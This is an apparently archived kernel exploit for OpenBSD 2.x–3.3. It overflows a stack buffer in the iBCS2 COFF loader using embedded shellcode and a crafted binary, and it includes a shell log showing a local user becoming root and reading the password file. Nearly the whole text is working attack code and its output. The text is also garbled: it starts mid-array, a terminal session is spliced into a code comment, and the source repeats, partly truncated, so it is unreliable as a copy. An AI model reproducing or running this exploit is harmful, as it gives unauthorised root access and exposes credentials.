"\x80\xfb\xe8\x75\xf7\x8d\x1c\x0a\x41\x8b\x0c\x0a\x83\xc1\x05\x01\xd9" "\x89\xcf\xb0\xff\xfc\xb9\xff\xff\xff\xff\xf2\xae\x8a\x1f\x80\xfb\xd0" "\x75\xef\x47\x31\xc0\x57\xc3"; /* iret_sc.s */ unsigned char iret_shellcode[] = "\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe" "\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89" "\x42\x04\x8b\x51\x14\x89\x42\x0c\xfa\x6a\x1f\x07\x6a\x1f\x1f\x6a\x00" "\x5f\x6a\x00\x5e\x68\x00\xd0\xbf\xdf\x5d\x6a\x00\x5b\x6a\x00\x5a\x6a" "\x00\x59\x6a\x00\x58\x6a\x1f\x68\x00\xd0\xbf\xdf\x68\x87\x02\x00\x00" "\x6a\x17"; unsigned char pusheip[] = "\x68\x00\x00\x00\x00"; /* fill eip */ unsigned char iret[] = "\xcf"; unsigned char exitsh[] = "\x31\xc0\xcd\x80\xcc"; /* xorl %eax,%eax, int-bash-2.05b$ uname -a OpenBSD the0.wideopenbsd.net 3.3 GENERIC#44 i386 -bash-2.05b$ gcc -o the0therat coff_ex.c -bash-2.05b$ id uid=1000(noir) gid=1000(noir) groups=1000(noir) -bash-2.05b$ ./the0therat DO NOT FORGET TO SHRED ./ibcs2own Abort trap -bash-2.05b$ id uid=0(root) gid=1000(noir) groups=1000(noir) -bash-2.05b$ bash bash-2.05b# cp /dev/zero ./ibcs2own /home: write failed, file system is full cp: ./ibcs2own: No space left on device bash-2.05b# rm -f ./ibcs2own bash-2.05b# head -2 /etc/master.passwd root:$2a$08$ [cut] :0:0:daemon:0:0:Charlie &:/root:/bin/csh daemon:*:1:1::0:0:The devil himself:/root:/sbin/ nologin ... ----------------------------- coff_ex.c -------------------------------------- /** OpenBSD 2.x - 3.3 **/ /** exec_ibcs2_coff_prep_zmagic() kernel stack overflow **/ /** note: ibcs2 binary compatibility with SCO and ISC is enabled **/ /** in the default install **/ /** Copyright Feb 26 2003 Sinan "noir" Eren **/ /** noir@olympos.org noir@uberhax0r.net **/ #include <stdio.h> #include <sys/types.h> #include <fcntl.h> #include <unistd.h> #include <sys/param.h> #include <sys/sysctl.h> #include <sys/signal.h> /* kernel_sc.s shellcode */ unsigned char shellcode[] = "\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe" "\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89" "\x42\x04\x8b\x51\x14\x89\x42\x0c\x8d\x6c\x24\x68\x0f\x01\x4f\x04\x8b" "\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b\x8b\x04\x04\x00\x00\xc1\xe9\x10" "\xc1\xe1\x10\xc1\xe2\x10\xc1\xea\x10\x09\xca\x31\xc9\x41\x8a\x1c\x0a" "\x80\xfb\xe8\x75\xf7\x8d\x1c\x0a\x41\x8b\x0c\x0a\x83\xc1\x05\x01\xd9" "\x89\xcf\xb0\xff\xfc\xb9\xff\xff\xff\xff\xf2\xae\x8a\x1f\x80\xfb\xd0" "\x75\xef\x47\x31\xc0\x57\xc3"; /* iret_sc.s */ unsigned char iret_shellcode[] = "\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe" "\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89" "\x42\x04\x8b\x51\x14\x89\x42\x0c\xfa\x6a\x1f\x07\x6a\x1f\x1f\x6a\x00" "\x5f\x6a\x00\x5e\x68\x00\xd0\xbf\xdf\x5d\x6a\x00\x5b\x6a\x00\x5a\x6a" "\x00\x59\x6a\x00\x58\x6a\x1f\x68\x00\xd0\xbf\xdf\x68\x87\x02\x00\x00" "\x6a\x17"; unsigned char pusheip[] = "\x68\x00\x00\x00\x00"; /* fill eip */ unsigned char iret[] = "\xcf"; unsigned char exitsh[] = "\x31\xc0\xcd\x80\xcc"; /* xorl %eax,%eax, int $0x80, int3 */ #define ZERO(p) memset(&p, 0x00, sizeof(p)) /* * COFF file header */ struct coff_filehdr { u_short f_magic; /* magic number */ u_short f_nscns; /* # of sections */ long f_timdat; /* timestamp */ long f_symptr; /* file offset of symbol table */ long f_nsyms; /* # of symbol table entries */ u_short f_opthdr; /* size of optional header */ u_short f_flags; /* flags */ }; /* f_magic flags */ #define COFF_MAGIC_I386 0x14c /* f_flags */ #define COFF_F_RELFLG 0x1 #define COFF_F_EXEC 0x2 #define COFF_F_LNNO 0x4 #define COFF_F_LSYMS 0x8 #define COFF_F_SWABD 0x40 #define COFF_F_AR16WR 0x80 #define COFF_F_AR32WR 0x100 /* * COFF system header */ struct coff_aouthdr { short a_magic; short a_vstamp; long a_tsize; long a_dsize; long a_bsize; long a_entry; long a_tstart; long a_dstart; }; /* magic */ #define COFF_ZMAGIC 0413 /* * COFF section header */ struct coff_scnhdr { char s_name[8]; long s_paddr; long s_vaddr; long s_size; long s_scnptr; long s_relptr; long s_lnnoptr; u_short s_nreloc; u_short s_nlnno; long s_flags; }; /* s_flags */ #define COFF_STYP_TEXT 0x20 #define COFF_STYP_DATA 0x40 #define COFF_STYP_SHLIB 0x800 void get_proc(pid_t, struct kinfo_proc *); void sig_handler(); int main(int argc, char **argv) { u_int i, fd, debug = 0; u_char *ptr, *shptr; u_long *lptr; u_long pprocadr, offset; struct kinfo_proc kp; char *args[] = { "./ibcs2own", NULL}; char *envs[] = { "RIP=theo", NULL}; //COFF structures struct coff_filehdr fhdr; struct coff_aouthdr ahdr; struct coff_scnhdr scn0, scn1, scn2; if(argv[1]) { if(!strncmp(argv[1], "-v", 2)) debug = 1; else { printf("-v: verbose flag only\n"); exit(0); } } ZERO(fhdr); fhdr.f_magic = COFF_MAGIC_I386; fhdr.f_nscns = 3; //TEXT, DATA, SHLIB fhdr.f_timdat = 0xdeadbeef; fhdr.f_symptr = 0x4000; fhdr.f_nsyms = 1; fhdr.f_opthdr = sizeof(ahdr); //AOUT opt header size fhdr.f_flags = COFF_F_EXEC; ZERO(ahdr); ahdr.a_magic = COFF_ZMAGIC; ahdr.a_tsize = 0; ahdr.a_dsize = 0; ahdr.a_bsize = 0; ahdr.a_entry = 0x10000; ahdr.a_tstart = 0; ahdr.a_dstart = 0; ZERO(scn0); memcpy(&scn0.s_name, ".text", 5); scn0.s_paddr = 0x10000; scn0.s_vaddr = 0x10000; scn0.s_size = 4096; scn0.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3); //file offset of .text segment scn0.s_relptr = 0; scn0.s_lnnoptr = 0; scn0.s_nreloc = 0; scn0.s_nlnno = 0; scn0.s_flags = COFF_STYP_TEXT; ZERO(scn1); memcpy(&scn1.s_name, ".data", 5); scn1.s_paddr = 0x10000 - 4096; scn1.s_vaddr = 0x10000 - 4096; scn1.s_size = 4096; scn1.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 4096; //file offset of .data segment scn1.s_relptr = 0; scn1.s_lnnoptr = 0; scn1.s_nreloc = 0; scn1.s_nlnno = 0; scn1.s_flags = COFF_STYP_DATA; ZERO(scn2); memcpy(&scn2.s_name, ".shlib", 6); scn2.s_paddr = 0; scn2.s_vaddr = 0; scn2.s_size = 0xb0; //HERE IS DA OVF!!! static_buffer = 128 scn2.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 2*4096; //file offset of .data segment scn2.s_relptr = 0; scn2.s_lnnoptr = 0; scn2.s_nreloc = 0; scn2.s_nlnno = 0; scn2.s_flags = COFF_STYP_SHLIB; offset = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 3*4096; ptr = (char *) malloc(offset); if(!ptr) { perror("malloc"); exit(-1); } memset(ptr, 0xcc, offset); /* fill int3 */ /* copy sections */ offset = 0; memcpy(ptr, (char *) &fhdr, sizeof(fhdr)); offset += sizeof(fhdr); memcpy(ptr+offset, (char *) &ahdr, sizeof(ahdr)); offset += sizeof(ahdr); memcpy(ptr+offset, (char *) &scn0, sizeof(scn0)); offset += sizeof(scn0); memcpy(ptr+offset, &scn1, sizeof(scn1)); offset += sizeof(scn1); memcpy(ptr+offset, (char *) &scn2, sizeof(scn2)); offset += sizeof(scn2); lptr = (u_long *) ((char *)ptr + sizeof(fhdr) + sizeof(ahdr) + \ (sizeof(scn0) * 3) + 4096 + 4096 + 0xb0 - 8); shptr = (char *) malloc(4096); if(!shptr) { perror("malloc"); exit(-1); } if(debug) printf("payload adr: 0x%.8x\t", shptr); memset(shptr, 0xcc, 4096); get_proc((pid_t) getppid(), &kp); pprocadr = (u_long) kp.kp_eproc.e_paddr; if(debug) printf("parent proc adr: 0x%.8x\n", pprocadr); *lptr++ = 0xdeadbeef; *lptr = (u_long) shptr; shellcode[5] = pprocadr & 0xff; shellcode[6] = (pprocadr >> 8) & 0xff; shellcode[7] = (pprocadr >> 16) & 0xff; shellcode[8] = (pprocadr >> 24) & 0xff; memcpy(shptr, shellcode, sizeof(shellcode)-1); unlink("./ibcs2own"); if((fd = open("./ibcs2own", O_CREAT^O_RDWR, 0755)) < 0) { perror("open"); exit(-1); } write(fd, ptr, sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0) * 3) + 4096*3); close(fd); free(ptr); signal(SIGSEGV, (void (*)())sig_handler); signal(SIGILL, (void (*)())sig_handler); signal(SIGSYS, (void (*)())sig_handler); signal(SIGBUS, (void (*)())sig_handler); signal(SIGABRT, (void (*)())sig_handler); signal(SIGTRAP, (void (*)())sig_handler); printf("\nDO NOT FORGET TO SHRED ./ibcs2own\n"); execve(args[0], args, envs); perror("execve"); } void sig_handler() { _exit(0); } void get_proc(pid_t pid, struct kinfo_proc *kp) { u_int arr[4], len; arr[0] = CTL_KERN; arr[1] = KERN_PROC; arr[2] = KERN_PROC_PID; arr[3] = pid; len = sizeof(struct kinfo_proc); if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) { perror("sysctl"); fprintf(stderr, "this is an unexpected error, rerun!\n"); exit(-1); } }x80, int3 */ #define ZERO(p) memset(&p, 0x00, sizeof(p)) /* * COFF file header */ struct coff_filehdr { u_short f_magic; /* magic number */ u_short f_nscns; /* # of sections */ long f_timdat; /* timestamp */ long f_symptr; /* file offset of symbol table */ long f_nsyms; /* # of symbol table entries */ u_short f_opthdr; /* size of optional header */ u_short f_flags; /* flags */ }; /* f_magic flags */ #define COFF_MAGIC_I386 0x14c /* f_flags */ #define COFF_F_RELFLG 0x1 #define COFF_F_EXEC 0x2 #define COFF_F_LNNO 0x4 #define COFF_F_LSYMS 0x8 #define COFF_F_SWABD 0x40 #define COFF_F_AR16WR 0x80 #define COFF_F_AR32WR 0x100 /* * COFF system header */ struct coff_aouthdr { short a_magic; short a_vstamp; long a_tsize; long a_dsize; long a_bsize; long a_entry; long a_tstart; long a_dstart; }; /* magic */ #define COFF_ZMAGIC 0413 /* * COFF section header */ struct coff_scnhdr { char s_name[8]; long s_paddr; long s_vaddr; long s_size; long s_scnptr; long s_relptr; long s_lnnoptr; u_short s_nreloc; u_short s_nlnno; long s_flags; }; /* s_flags */ #define COFF_STYP_TEXT 0x20 #define COFF_STYP_DATA 0x40 #define COFF_STYP_SHLIB 0x800 void get_proc(pid_t, struct kinfo_proc *); void sig_handler(); int main(int argc, char **argv) { u_int i, fd, debug = 0; u_char *ptr, *shptr; u_long *lptr; u_long pprocadr, offset; struct kinfo_proc kp; char *args[] = { "./ibcs2own", NULL}; char *envs[] = { "RIP=theo", NULL}; //COFF structures struct coff_filehdr fhdr; struct coff_aouthdr ahdr; struct coff_scnhdr scn0, scn1, scn2; if(argv[1]) { if(!strncmp(argv[1], "-v", 2)) debug = 1; else { printf("-v: verbose flag only\n"); exit(0); } } ZERO(fhdr); fhdr.f_magic = COFF_MAGIC_I386; fhdr.f_nscns = 3; //TEXT, DATA, SHLIB fhdr.f_timdat = 0xdeadbeef; fhdr.f_symptr = 0x4000; fhdr.f_nsyms = 1; fhdr.f_opthdr = sizeof(ahdr); //AOUT opt header size fhdr.f_flags = COFF_F_EXEC; ZERO(ahdr); ahdr.a_magic = COFF_ZMAGIC; ahdr.a_tsize = 0; ahdr.a_dsize = 0; ahdr.a_bsize = 0; ahdr.a_entry = 0x10000; ahdr.a_tstart = 0; ahdr.a_dstart = 0; ZERO(scn0); memcpy(&scn0.s_name, ".text", 5); scn0.s_paddr = 0x10000; scn0.s_vaddr = 0x10000; scn0.s_size = 4096; scn0.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3); //file offset of .text segment scn0.s_relptr = 0; scn0.s_lnnoptr = 0; scn0.s_nreloc = 0; scn0.s_nlnno = 0; scn0.s_flags = COFF_STYP_TEXT; ZERO(scn1); memcpy(&scn1.s_name, ".data", 5); scn1.s_paddr = 0x10000 - 4096; scn1.s_vaddr = 0x10000 - 4096; scn1.s_size = 4096; scn1.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 4096; //file offset of .data segment scn1.s_relptr = 0; scn1.s_lnnoptr = 0; scn1.s_nreloc = 0; scn1.s_nlnno = 0; scn1.s_flags = COFF_STYP_DATA; ZERO(scn2); memcpy(&scn2.s_name, ".shlib", 6); scn2.s_paddr = 0; scn2.s_vaddr = 0; scn2.s_size = 0xb0; //HERE IS DA OVF!!! static_buffer = 128 scn2.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 2*4096; //file offset of .data segment scn2.s_relptr = 0; scn2.s_lnnoptr = 0; scn2.s_nreloc = 0; scn2.s_nlnno = 0; scn2.s_flags = COFF_STYP_SHLIB; offset = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 3*4096; ptr = (char *) malloc(offset); if(!ptr) { perror("malloc"); exit(-1); } memset(ptr, 0xcc, offset); /* fill int3 */ /* copy sections */ offset = 0; memcpy(ptr, (char *) &fhdr, sizeof(fhdr)); offset += sizeof(fhdr); memcpy(ptr+offset, (char *) &ahdr, sizeof(ahdr)); offset += sizeof(ahdr); memcpy(ptr+offset, (char *) &scn0, sizeof(scn0)); offset += sizeof(scn0); memcpy(ptr+offset, &scn1, sizeof(scn1)); offset += sizeof(scn1); memcpy(ptr+offset, (char *) &scn2, sizeof(scn2)); offset += sizeof(scn2); lptr = (u_long *) ((char *)ptr + sizeof(fhdr) + sizeof(ahdr) + \ (sizeof(scn0) * 3) + 4096 + 4096 + 0xb0 - 8); shptr = (char *) malloc(4096); if(!shptr) { perror("malloc"); exit(-1); } if(debug) printf("payload adr: 0x%.8x\t", shptr); memset(shptr, 0xcc, 4096); get_proc((pid_t) getppid(), &kp); pprocadr = (u_long) kp.kp_eproc.e_paddr; if(debug) printf("parent proc adr: 0x%.8x\n", pprocadr); *lptr++ = 0xdeadbeef; *lptr = (u_long) shptr; shellcode[5] = pprocadr & 0xff; shellcode[6] = (pprocadr >> 8) & 0xff; shellcode[7] = (pprocadr >> 16) & 0xff; shellcode[8] = (pprocadr >> 24) & 0xff; memcpy(shptr, shellcode, sizeof(shellcode)-1); unlink("./ibcs2own"); if((fd = open("./ibcs2own", O_CREAT^O_RDWR, 0755)) < 0) { perror("open"); exit(-1); } write(fd, ptr, sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0) * 3) + 4096*3); close(fd); free(ptr); signal(SIGSEGV, (void (*)())sig_handler); signal(SIGILL, (void (*)())sig_handler); signal(SIGSYS, (void (*)())sig_handler); signal(SIGBUS, (void (*)())sig_handler); signal(SIGABRT, (void (*)())sig_handler); signal(SIGTRAP, (void (*)())sig_handler); printf("\nDO NOT FORGET TO SHRED ./ibcs2own\n"); execve(args[0], args, envs); perror("execve"); } void sig_handler() { _exit(0); } void get_proc(pid_t pid, struct kinfo_proc *kp) { u_int arr[4], len; arr[0] = CTL_KERN; arr[1] = KERN_PROC; arr[2] = KERN_PROC_PID; arr[3] = pid; len = sizeof(struct kinfo_proc); if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) { perror("sysctl"); fprintf(stderr, "this is an unexpected error, rerun!\n"); exit(-1); } }